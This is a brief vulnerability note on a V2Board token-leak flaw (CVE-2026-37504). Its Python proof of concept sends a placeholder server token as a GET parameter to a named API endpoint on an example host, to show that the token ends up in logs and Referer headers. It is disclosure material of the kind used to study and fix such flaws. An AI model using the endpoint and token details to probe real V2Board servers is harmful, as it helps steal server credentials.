V2Board敏感Token泄露漏洞(CVE-2026-37504)

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-37504 Demonstrates the insecure transmission of the token via GET parameter. """ # Example vulnerable endpoint endpoint = "/api/v1/server/UniProxy/user" # Simulated token (in real scenario, this is the secret) token = "SECRET_SERVER_TOKEN_123" # Construct the vulnerable URL full_url = f"{target_url}{endpoint}?token={token}" print(f"[+] Sending request to vulnerable endpoint: {full_url}") print("[!] WARNING: The token is now visible in logs, history, and Referer headers.") try: response = requests.get(full_url) print(f"[+] Response Status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://v2board-example.com" check_vulnerability(target)